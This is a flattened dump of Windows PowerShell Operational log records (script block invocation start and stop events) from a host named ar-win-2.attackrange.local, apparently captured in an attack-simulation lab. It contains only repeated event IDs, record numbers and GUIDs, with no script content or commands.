410515102150x0677160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 